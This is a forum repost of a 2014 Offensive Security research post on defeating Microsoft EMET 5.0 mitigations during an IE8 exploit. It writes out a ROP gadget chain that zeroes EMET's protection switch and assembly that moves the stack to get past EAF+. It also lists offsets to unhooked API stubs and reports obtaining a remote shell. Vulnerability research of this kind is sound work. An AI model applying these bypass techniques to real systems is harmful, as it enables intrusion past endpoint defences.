Nytro Posted September 30, 2014 Report Posted September 30, 2014 In our previous Disarming Emet 4.x blog post, we demonstrated how to disarm the ROP mitigations introduced in EMET 4.x by abusing a global variable in the .data section located at a static offset. A general overview of the EMET 5 technical preview has been recently published here. However, the release of the final version introduced several changes that mitigated our attack and we were curious to see how difficult it would be to adapt our previous disarming technique to this new version of EMET. In our research we targeted 32-bit systems and compared the results across different operating systems (Windows 7 SP1, Windows 2008 SP1, Windows 8, Windows 8.1, Windows XP SP3 and Windows 2003 SP2). We chose to use the IE8 ColspanID vulnerability once again in order to maintain consistency through our research. ROP PROTECTIONS CONFIGURATION HARDENING The very first thing that we noticed is that the global variable we exploited to disarm the ROP Protections (ROP-P) routine is not pointing directly to the ROP-P general switch anymore. This variable, which is now at offset 0x000aa84c from the EMET.dll base address, holds an encoded pointer to a structure of 0x560 bytes (See CONFIG_STRUCT in Fig. 1). The ROP-P general switch is now located at CONFIG_STRUCT+0x558 (Fig. 1, Fig.2). Figure 2: ROP-P General Switch Encoded pointers are used to provide a layer of protection for the actual pointer values. These pointer values can be decoded by using the appropriate DecodePointer Windows API. Our first idea was to try to use the DecodePointer function to get the required pointer and then to zero out the general ROP-P switch. This API can usually be found in the Import Address Table (IAT) of several modules loaded by target processes. Additionally, since EMET.dll needs DecodePointer, we can extract the offset from the DLL base address directly from its IAT. The first step, as shown in our previous blog post, is to gather the EMET.dll base address. In this particular case, we will also save the EMET base address somewhere in memory in order to get the absolute address of DecodePointer later on. Once we decode the encoded pointer, disarming ROP becomes a very similar exercise as in our previous exploit.The following ROP gadgets were used to disable the ROP Protections in the IE8 ColspanID exploit: POP EAX # RETN // Pop GetModuleHandle Ptr from the stackGetModuleHandle // GetModuleHandle PtrMOV EAX,[EAX] # RETN // Get GetModuleHandle AddressPUSH EAX # RETN // Call GetModuleHandlePOP ECX # RETN // GetModuleHandle RET Address: Pop EMET_CONFIG_STRUCTEMET_STRING_PTR // GetModuleHandle argumentEMET_CONFIG_STRUCT // EMET_CONFIG_STRUCT offsetPOP ESI // Pop MEM_ADDRESS Ptr to save EMET baseMEM_ADDRESSMOV [ESI],EAX # RETN // Save EMET base address at MEM_ADDRESSADD EAX,ECX # RETN // Get the address of EMET_CONFIG_STRUCTMOV EAX,[EAX] // Get the encoded value stored at EMET_CONFIG_STRUCTPOP ESI // Pop DecodePointer ARG Ptr from the stackDECODEPTR_ARG_PTRMOV [ESI],EAX // Update DECODEPTR_ARG with encoded valuePOP EAX # RETN // Pop EMET base address PtrMEM_ADDRESSMOV EAX,[EAX] // Get EMET BasePOP ECX # RETN // Pop DecodePointer offset from the stackDECODEPTR_OFFSETADD EAX,ECX # RETN // Get the address of DecodePointer in IATMOV EAX,[EAX] // Get the address of DecodePointerPUSH EAX # RETN // Call DecodePointerPOP ECX # RETN // Pop ROP-P Global Switch offset DECODEPTR_ARGROP_P_OFFSETADD EAX,ECX # RETN // Get address of ROP-P Global Switch offsetPOP ECX # RETN // Pop 0 into ECX0x00000000MOV [EAX],ECX # RETN // Zero out the ROP-P Global Switch EAF In our previous blog post, we bypassed EAF by using a known technique presented by the security researcher Piotr Bania. The technique makes use of the Windows syscall NtSetContextThread to clear the hardware breakpoints set by EMET on the Export Address Table of kernel32.dll and ntdll.dll. EMET 5 now protects the KERNELBASE.dll Export Address Table as well, but the only new protection implemented in version 5 against the use of the above technique is that now NtSetContextThread as well as NtContinue (which can also be used in a similar way to bypass EAF) are hooked by the toolkit.“Unfortunately”, the hook eventually calls into the ROP-P routine, and since all the checks are already disarmed by the previous ROP chain, it is completely ineffective. The result is that no further changes to the shellcode were needed to bypass EMET 5 with all of its mitigations enabled except for EAF+. By resolving and calling NtSetContextThread, we were once again able to bypass EAF and successfully obtain a remote shell. EAF+ EAF+, on the other hand, introduces a few extra security checks. First of all, it offers the possibility of blacklisting specific modules that should never be allowed to read protected locations (EAT and MZ/PE header of specific modules). For IE, EAF+ blacklists by default mshtml.dll, Adobe Flash flash*.ocx, jscript*.dll, vbscript.dll and vgx.dll. However, since in our case we are resolving NtSetContextThread by directly calling GetProcAddress, we are implicitly bypassing this mitigation.When we ran our exploit with EAF+ enabled, IE crashed without any explanations or EMET-related log entries in the Windows Event Viewer. Our first thought was that EMET detected the stack register being out of the allowed boundaries, as this check and the detection of a mismatch of stack and frame pointer registers are the other two mitigations introduced by EAF+.We were able to verify this by setting a breakpoint at EMET+0x40BA6 (Fig. 3), which is a basic block belonging to the EAF/EAF+ ExceptionHandler (EMET+0x4084A) installed by the toolkit. Figure 3: EAF+ Stack Register Check Since we have already disarmed EMET ROP mitigations as well as DEP/ASLR at this point, we were able to bypass the stack registers check executing the following instructions just before resolving NtSetContextThread: XOR EAX,EAXMOV EAX,DWORD PTR FS:[EAX+18]MOV EAX,DWORD PTR DS:[EAX+4]ADD EAX,-OFFSETXCHG EAX,ESP The first three instructions simply recover the StackBase pointer value for the executing thread from the Thread Environment Block (TEB). We then add a negative offset to fall within StackBase and StackLimit and set ESP to point to this value. 0:021> dt -r1 _TEBntdll!_TEB+0x000 NtTib : _NT_TIB+0x000 ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD+0x004 StackBase : Ptr32 Void+0x008 StackLimit : Ptr32 Void+0x00c SubSystemTib : Ptr32 Void+0x010 FiberData : Ptr32 Void+0x010 Version : Uint4B+0x014 ArbitraryUserPointer : Ptr32 Void+0x018 Self : Ptr32 _NT_TIB At this point, we were happy enough as our exploit was working nicely with all the protections enabled. However, as we were reversing the EAF/EAF+ ExceptionHandler, we noticed something interesting. At offset EMET+0x00040E75 (Fig. 4) there is a call to NtSetContextThread, but rather than calling into the hooked Windows Native API, EMET calls a stub that sets up the syscall number into the EAX register and then jumps into NtSetContextThread+0x5 to bypass the EMET shim (Fig. 5). Figure 4: Call to the Unhooked NtSetContextThread The interesting part is that the pointer to this stub is an entry in the configuration structure that we used to disarm the ROP Protections. In other words, we can use this stub as an alternative way to bypass EAF+ as we can directly call into POINTER(CONFIG_STRUCT+0x518) without the need to resolve the NtSetContextThread address. Figure 5: NtSetContextThread unhooked stub This discovery made us even more curious and we started to snoop around the entire structure. We saw that at specific static offsets from the beginning of the structure, you can find pointers to respective stubs for all the hooked Windows APIs: shoujou: desktop ryujin$ ./config_struct.py struct.txt | sort -uFunction: KERNELBASE!CreateFileMappingNumaW Offset:0x428Function: KERNELBASE!CreateFileMappingW Offset:0x410Function: KERNELBASE!CreateFileW Offset:0x3b0Function: KERNELBASE!CreateRemoteThreadEx Offset:0x2d8Function: KERNELBASE!CreateRemoteThreadEx Offset:0x2f0Function: KERNELBASE!HeapCreate Offset:0x1e8Function: KERNELBASE!LoadLibraryExA Offset:0x80Function: KERNELBASE!LoadLibraryExW Offset:0x98Function: KERNELBASE!MapViewOfFile Offset:0x488Function: KERNELBASE!MapViewOfFileEx Offset:0x4a0Function: KERNELBASE!VirtualAlloc Offset:0x110Function: KERNELBASE!VirtualAllocEx Offset:0x128Function: KERNELBASE!VirtualProtect Offset:0x188Function: KERNELBASE!VirtualProtectEx Offset:0x1a0Function: KERNELBASE!WriteProcessMemory Offset:0x338Function: kernel32!CreateFileA Offset:0x380Function: kernel32!CreateFileMappingA Offset:0x3e0Function: kernel32!CreateFileMappingWStub Offset:0x3f8Function: kernel32!CreateFileWImplementation Offset:0x398Function: kernel32!CreateProcessA Offset:0x218Function: kernel32!CreateProcessInternalA Offset:0x248Function: kernel32!CreateProcessInternalW Offset:0x260Function: kernel32!CreateProcessW Offset:0x230Function: kernel32!CreateRemoteThreadStub Offset:0x2c0Function: kernel32!HeapCreateStub Offset:0x1d0Function: kernel32!LoadLibraryA Offset:0x20Function: kernel32!LoadLibraryExAStub Offset:0x50Function: kernel32!LoadLibraryExWStub Offset:0x68Function: kernel32!LoadLibraryW Offset:0x38Function: kernel32!MapViewOfFileExStub Offset:0x470Function: kernel32!MapViewOfFileStub Offset:0x458Function: kernel32!VirtualAllocExStub Offset:0xf8Function: kernel32!VirtualAllocStub Offset:0xe0Function: kernel32!VirtualProtectExStub Offset:0x170Function: kernel32!VirtualProtectStub Offset:0x158Function: kernel32!WinExec Offset:0x368Function: kernel32!WriteProcessMemoryStub Offset:0x320Function: ntdll!LdrHotPatchRoutine Offset:0x8Function: ntdll!LdrLoadDll Offset:0xc8Function: ntdll!NtContinue Offset:0x500Function: ntdll!NtCreateFile Offset:0x3c8Function: ntdll!NtCreateProcessEx Offset:0x2a8Function: ntdll!NtMapViewOfSection Offset:0x4e8Function: ntdll!NtProtectVirtualMemory Offset:0x1b8Function: ntdll!NtSetContextThread Offset:0x518Function: ntdll!NtUnmapViewOfSection Offset:0x4d0Function: ntdll!RtlCreateHeap Offset:0x200Function: ntdll!ZwAllocateVirtualMemory Offset:0x140Function: ntdll!ZwCreateProcess Offset:0x290Function: ntdll!ZwCreateSection Offset:0x440Function: ntdll!ZwCreateThreadEx Offset:0x308Function: ntdll!ZwCreateUserProcess Offset:0x278Function: ntdll!ZwWriteVirtualMemory Offset:0x350 This is particularly troublesome as it provides the attacker with access to the most powerful APIs completely unhooked and without the need of resolving their addresses once EMET CONFIG_STRUCT is gathered. However, since Deep Hooks are enabled by default, if the attacker plans to use one of the above APIs without disarming EMET in first place, they would need to call the deepest API in the chain. As usual, the full exploit can be found at The Exploit Database. The exploit uses the stub at POINTER(CONFIG_STRUCT+0x518) to bypass EAF+ as well as the ROP chain presented in this blog post. Figure 6: Remote Shell with EMET 5 enabled ASR The Attack Surface Reduction (ASR) feature in EMET 5.0 helps reduce the exposure of applications by preventing the loading of specific modules or plugins within the target application. This protection can really be effective in cases where an attacker forces the target application to load a specific DLL to bypass ASLR (Java msvcr71.dll is a very typical case).Protection provided by ASR does not affect our exploit in any way because we are using a memory leak to bypass ASLR in the IE ColspanID exploit. We are also not loading any extra modules to bypass DEP. Nevertheless, we conducted some research to understand where this mitigation is located within EMET.dll. Once again, we noticed that the actual checks are done within the very same ROP-P routine, thereby making ASR entirely ineffective once the ROP-P general switch has been zeroed out. However, if an attacker is planning to force the target application to load a blacklisted module to bypass ASLR, he wouldn’t be able to disarm the EMET ASR protection using our technique before loading the forbidden DLL. PORTABILITY Our testing on older operating systems shows that the offset to the CONFIG_STRUCT global variable changes to 0x000b0b4c due to the fact that a different EMET.dll is in use.Nevertheless, offsets within the structure are consistent in all pre- and post-Vista Windows versions, both for the ROP-P general switch and for the unhooked APIs stubs. The only real differences are present when certain API functions are simply not available in the OS, such as in the case of KERNELBASE.DLL in Windows versions prior to Windows 7. CONCLUSION As we managed to successfully demonstrate, the difficulty in disarming EMET 5 mitigations has not increased substantially since version 4.x. More than anything, only our ROP chain has increased in size, while achieving the same effect of bypassing the protections offered by EMET. Here’s a video of our PoC IE exploit bypassing EMET v5.0: Sursa: http://www.offensive-security.com/vulndev/disarming-emet-v5-0/ Quote